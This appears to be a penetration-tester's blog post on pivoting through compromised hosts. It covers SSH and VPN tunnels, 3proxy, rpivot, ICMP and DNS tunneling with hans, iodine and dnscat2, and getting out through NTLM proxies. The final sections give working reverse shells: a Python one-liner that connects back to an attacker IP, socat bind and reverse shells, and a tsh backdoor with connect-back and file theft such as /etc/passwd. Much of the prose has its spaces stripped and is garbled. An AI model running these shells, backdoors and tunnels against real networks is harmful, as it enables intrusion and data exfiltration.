Penetrationtestersoftentraverselogicalnetworkboundariesinordertogainaccesstoclient'scriticalinfrastracture.Commonscenariosincludedevelopingtheattackintotheinternalnetworkaftersuccessfulperimeterbreachorgainingaccesstoinitialyunroutablenetworksegmentsaftercompromisinghostsinsidetheorganization.Pivotingisasetoftechniquesusedduringredteam/pentestengagementswhichmakeuseofattacker-controlledhostsaslogicalnetworkhopswiththeaimofamplifyingnetworkvisibility.InthispostI'llcovercommonpivotingtechniquesandtoolsavailable.

Contents

{:.no_toc}

  • TOC {:toc}

TargetwithpublicIP

Aprevalentscenario.Let'ssayyoufindanRCEbuginaweb-appaccessiblefromtheinternet.Youuploadashellandwanttodevelopyourattackintotheinternalnetwork.Notethatinthisspecificscenarioyoushouldabletobindportsonthecompromisedhostandthoseportsshouldbeaccessiblefromtheexternalnetwork.

SSHportforwarding

ManagedtofindcredentialstotheSSH-servicerunningonthehost?Great!Connecttothehostasfollows:

ssh username@host -D 1080

Thiswillspawnasocksserverontheattacker'sside(ssh-clientside).Welcometotheintranet;)Itisalsopossibletoforwardonespecificporttoaspecifichost.Let'ssayyouneedtoaccessanSMBshareintheinternalnetworkonhost192.168.1.1.

ssh username@host -L 445:192.168.1.1:445

Thiswayaport445willbeopenedontheattacker'sside.Note,thattobindprivilegedports(suchas445)youwillneedrootprivilegesonyourmachine.

VPNoverSSH

Since openssh release 4.3 it is possible to tunnel layer 3 network traffic via an established ssh channel. This has an advantage over a typical tcp tunnel because you are in control of ip traffic. So, for example, you are able to perform SYN-scan with nmap and use your tools directly without resorting toproxychainsor other proxifying tools. It's done via the creation oftundevices on client and server side and transferring the data between them over ssh connection. This is quite simple, but you need root on both machines since the creation of tun devices is a privileged operation. These lines should be present in your/etc/ssh/sshd_configfile (server-side):

PermitRootLogin yes
PermitTunnel yes

Thefollowingcommandontheclientwillcreateapairoftundevicesonclientandserver:

ssh username@server -w any:any

The flag-waccepts the number of tun device on each side separated with a colon. It can be set explicitly --w 0:0or you can use-w any:anysyntax to take the next available tun device.

Thetunnelbetweenthetundevicesisenabledbuttheinterfacesareyettobeconfigured.Exampleofconfiguringclient-side:

ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0

Server-side:

ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

EnableipforwardingandNATontheserver:

echo 1 

>

 /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Now you can make the peer host1.1.1.1your default gateway or route a specific host/network through it:

route add -net 10.0.0.0/16 gw 1.1.1.1

In this example the server's external network interface iseth0and the newly created tun devices on both sides aretun0.

3proxy

Get it here -https://github.com/z3APA3A/3proxy/releases. This tools works for multiple platforms. There are pre-built binaries for Windows. As for Linux, you will need to build it yourself which is not a rocket science, just./configure && make:) This tool is a swiss army knife in the proxy world so it has a ton of functionality. I usually use it either as a socks proxy or as a port forwarder.

Thistoolgetsallofitsoptionsfromconfigfile.Torunit:

3proxy.exe config_file

orifyouareonaLinuxsystem:

./3proxy config_file

Torun3proxyasasocks5proxyatport1080putthefollowinglineintheconfig:

socks -p1080

Now it's possible to tunnel most of your pentesting tools through this proxy to develop the attack in the internal network. This is just a basic setup which is not very secure. You can play with options to place authentication and/or ip-based access control rules. Go check the full manual here -https://3proxy.ru/howtoe.asp. To tunnel a specific port use the following syntax:

tcppm <localport><targethost><targetport>

NATscenario

ThisisbyfarthemostcommonsituationIencounterduringengagements.Thetraffictothetargetisbeingforwaredonper-portbasis.Thismeansthatallportsboundotherthanthosebeingintheportforwardingruleswon'tbeaccessiblefromoutside.Onepossiblesolutionistoinitiateareverseconnection.Thetoolsdescribedbelowwillhelpyouwiththat.

SSHreverseportforwarding/w3proxy

Thispivotingsetuplookssomethinglikethis:

Run3proxyservicewiththefollowingconfigonthetargetserver:

socks -p31337

Createaseparateuseronthereceivingside(attacker'smachine).

adduser sshproxy

Thisuserhastobelow-privilegedandshouldn'thaveshellprivileges.Afterall,youdon'twanttogetreversepentested,doya?:)Edit/etc/passwdandswitchshellto/bin/false.Itshouldlooklike:

root:x:0:0:root:/root:/bin/bash
...
sshproxy:x:1000:1001:,,,:/home/sshproxy:/bin/false
...

Now connect to your server with the newly created user with-Rflag. Linux system:

ssh sshproxy@your_server -R 31337:127.0.0.1:31337

For windows you will need to uploadplink.exefirst. This is a console version of putty. To run it:

plink.exe sshproxy@your_server -R 31337:127.0.0.1:31337

The-Rflag allows you to bind port on the server side. All connections to this port will be relayed to a specified port on the client. This way we can run 3proxy socks service on the client side (compromised machine) and access this port on the attacker's host via ssh-Rflag.

Rpivot

This is my favorite method of traversing NAT connections.Rpivotis a reverse socks proxy tool that allows you to tunnel traffic via socks proxy. It connects back to your machine and binds a socks proxy on it. It works just likessh -Dbut in opposite direction. Server side:

python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

Clientside:

python client.py --server-ip <ip> --server-port 9999

Asaresult,asocks4proxyservicewillbeboundserversideonport1080.

Exfiltratingfromtheinternalnetwork

Here'sadifferentcase.Let'ssayyoursocialengineeringgigendedupplacingyouintheinternalnetwork.Youhavelimitedconnectivityandabilitytoexecutecommandonthecompromisedmachine.Ofcourse,iftheinternetisdirectlyroutedandnotfirewalledyoucanresorttoanytechniquedescribedabove.Butifyou'renotsoluckythere'restillwaystopivotyourwayout.

ICMPtunneling

If icmp traffic is allowed to external networks then most likely you can establish an icmp tunnel. The downside is that you will need root/administrator privileges on the target system becase of the necesity to use raw sockets. Check this tool out -http://code.gerade.org/hans/. Personally I've never tried running it on Windows. It works like a charm on Linux tho. Server side command (attacker's machine):

./hans -v -f -s 1.1.1.1 -p P@ssw0rd

The-vflag is for verbosity, the-fflag is to run in foreground and the-sflag's value is the server's ip on the newly created tun interface.

Clientside:

./hans -f -c <server_ip> -p P@ssw0rd -v

Aftersuccessfulconnectiontheclientshouldbedirectlyvisibleat1.1.1.100:

# ping 1.1.1.100
PING 1.1.1.100 (1.1.1.100) 56(84) bytes of data.
64 bytes from 1.1.1.100: icmp_seq=1 ttl=65 time=42.9 ms

Nowyoucanusethismachineasgateintotheinternalnetwork.Usethismachineadefaultgatewayorconnecttoamanagementinterface(ssh/tsh/webshell).

DNStunneling

If any WAN traffic is blocked but external host names are resolved then there's a possibility of tunneling traffic via DNS queries. You need a domain registered for this technique to work.This manualmight help you with setting up your name server.

Iodine

If so happens that you got root access on the server you can tryiodine. It works almost like hans icmp tunneling tool - it creates a pair of tun adapters and tunnels data between them as DNS queries. Server side:

iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com

Clientside:

iodine -f -P P@ssw0rd tunneldomain.com -r

Successfulconnectionwillyielddirectclientvisibilityataddress1.1.1.2.Note,thatthistunnelingtechniqueisquiteslow.Yourbestbetistouseacompressedsshconnectionovertheresultingconnection:

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

Dnscat2

Dnscat2establishes C&C channel over recursive DNS queries. This tool doesn't require root/administrator access (works both on windows and linux). It also supports port forwarding. Server side:

ruby ./dnscat2.rb tunneldomain.com

Clientside:

./dnscat2 tunneldomain.com

After you receive a connection of server side, you can view the active sessions withwindowscommand:

dnscat2

>

 windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
  1 :: command session (debian)
  2 :: sh (debian) [*]

To initiate port forwarding select a command session withsession -i <num>:

dnscat2

>

 session -i 1
New window created: 1
New window created: 1
history_size (session) =

>

 1000
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command session (debian) 1

>

Uselisten [lhost:]lport rhost:rportcommand to forward a port:

command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80

Thiswillbindport8080ontheattacker'smachineandforwardallconnectionsto10.0.0.20:80.

CorporateHTTPproxyasawayout

HTTPproxiesorganizationplacefortheiremployeestoaccessexternalweb-applicationpresentagoodexfiltrationopportunitygivenyougottherightcredentials;)

Rpivot

IalreadymentionedthistoolintheNATtraversalsection.ItalsosupportsconnectingtotheoutsideworldviaNTLMHTTPproxies.Serversidecommandremainsintact,useclient-sidecommandasfollows:

python client.py --server-ip 

<

rpivot_server_ip

>

 --server-port 9999\
--ntlm-proxy-ip 

<

proxy_ip

>

 --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --password P@ssw0rd

OrifyouhaveLM:NThashesinsteadofpassword:

python client.py --server-ip 

<

rpivot_server_ip

>

\
--server-port 9999 --ntlm-proxy-ip 

<

proxy_ip

>

 --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Cntlm

Cntlmis the tool of choice for running any non-proxy aware programs over NTLM-proxy. Basically this tool authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. This port bound does not require any authentication so you can use your tools directly (putty/ssh for example). It uses a config file for its operation. Here's a barebones config example to forward port 443 (this port is most likely to be allowed through the proxy):

Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:

<

attackers_machine

>

:443

Runit:

cntlm.exe -c config.conf

Orifyou'reonLinux:

./cntlm -c config.conf

Now,givenyouhavesshrunningontheremotehostonport443,youcanlaunchsshclient(openssh/putty)andconnecttolocalport2222togetaccesstotheexternalmachine.

OpenVpnoverHTTPproxy

OpenVpnis huge so its configuration from the ground up is out of scope of this post. Just a quick mention - it also supports tunneling tcp connections over NTLM proxies. Add this line to your config file:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Credentialfileshouldcontainusernameandpasswordonseparatelines.And,yes,you'llneedroot.

MakinguseofSOCKSwithproxychains

If your program doesn't use raw sockets (nmap syn-scan, for example) then most probably you can useproxychainsto force your program though the socks proxy. Edit proxy server in /etc/proxychains.conf:

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 3128

All ready. Just prependproxychainsto you favorite pwn tool:

proxychains program_name

Usingimpacket'spsexec.pywithproxychains:

![psexec](/assets/pivoting1.png)

DNSwithproxychains

Proxychains doesn't follow socks RFC when it comes to resolving hostnames. It interceptsgethostbynamelibc call and tunnels tcp DNS request through the socks proxy. The things is, the DNS server is hardcoded to4.2.2.2. You might want to change the nameserver in order to resolve names on the internal network. A typical scenario is to change the nameserver to domain controller if you are pentesting windows environment. The setup is located at/usr/lib/proxychains3/proxyresolv:

#!/bin/sh
# This script is called by proxychains to resolve DNS names

# DNS server used to resolve names
DNS_SERVER=${PROXYRESOLV_DNS:-4.2.2.2}    #change nameserver here


if [ $# = 0 ] ; then
    echo "  usage:"
    echo "      proxyresolv 

<

hostname

>

 "
    exit
fi

Beutifyingyourwebshell

This section is not directly related to either pivoting or tunneling but instead describes a way of simplifying your work when developing attack into the internal network. Often, using a web-shell is rather tedious, especially when using programs that expect an interactive command interface. Most likely you will use some workarounds to performs simple tasks, such as passing password to sudo/su or just editing a file. I'm not a big fan of torturing myself, so when there's an oportunity to escalate the web-shell to an interactive shell, I do so :) I won't cover stuff like launching semi-interactive shell using bash/perl/python etc. There's a ton of info on doing so. Check out this reverse shell cheat sheet -http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet.

PythonPTYshell

Anupgradefromaregularsemi-interactiveshell.Youcanexecutethefollowingcommandinyourexistingshell:

python -c 
'
import pty; pty.spawn("/bin/bash")
'

Orinitiatereverseconnection:

python -c 
'
import socket,subprocess,os;\
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\
s.connect(("

<

attackers_ip

>

",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);\
os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
'

Socat

Netcat on steroids! Seriously tho, go check thistool'smanualman socatand you'd be amazed what you can do with this tool regarding tunneling. Among other things it can spawn a fully interactive shell, even better than the aforementioned python-pty. The downside is that you most probably will have to build/install this tool on the target server as it is not a default utility in most unix-like distributions.

Bindshell

Setlistener:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Connecttothelistener:

socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverseshell

Setlistener:

socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Connecttoattacker'smachine:

socat TCP4:

<

attackers_ip

>

:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Terminalsize

By default the terminal size is quite small, as you may notice when launchingtopcommand or editing files with a text editor. You can easily change this, usestty -acommand to get the size of your regular teminal:

$ stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Applydesiredsizetoyoursocatterminal:

$ stty rows 57 cols 211

Tsh

Tshis a small ssh-like backdoor with full-pty terminal and with capability of file transfer. This tool has very small footprint and is easily built on most unix-like systems. Start with editing tsh.h file:

#
ifndef
 _TSH_H
#
define
_TSH_H
char
 *secret = 
"
never say never say die
"
;

#
define
SERVER_PORT
22
short
int
 server_port = SERVER_PORT;

/*
#define CONNECT_BACK_HOST  "localhost"
#define CONNECT_BACK_DELAY 30
*/

#
define
GET_FILE
1

#
define
PUT_FILE
2

#
define
RUNSHELL
3


#
endif
/*
 tsh.h 
*/

Changesecret, specifySERVER_PORT. Uncomment and editCONNECT_BACK_HOSTandCONNECT_BACK_DELAYdirectives if you want backconnect. Run make:

$ make linux_x64
make                                \
    LDFLAGS=" -Xlinker --no-as-needed -lutil"    \
    DEFS=" -DLINUX"                    \
    tsh tshd
make[1]: Entering directory '/tmp/tsh'
gcc -O3 -W -Wall -DLINUX -c pel.c
gcc -O3 -W -Wall -DLINUX -c aes.c
gcc -O3 -W -Wall -DLINUX -c sha1.c
gcc -O3 -W -Wall -DLINUX -c tsh.c
gcc -Xlinker --no-as-needed -lutil -o tsh pel.o aes.o sha1.o tsh.o
strip tsh
gcc -O3 -W -Wall -DLINUX -c tshd.c
gcc -Xlinker --no-as-needed -lutil -o tshd pel.o aes.o sha1.o tshd.o
strip tshd
make[1]: Leaving directory '/tmp/tsh'

Now run./tshdon server. It will start listening on the specified port. You can connect to it via executing the following command:

./tsh host_ip

If tsh was compiled with backconnect capability, thetshddaemon will try to connect back to the attacker's machine. To launch listener on attacker's side:

$ ./tsh cb
Waiting for the server to connect...

Totransferfileswithtsh:

./tsh host_ip get /etc/passwd .
./tsh host_ip put /bin/netcat /tmp

results matching ""

    No results matching ""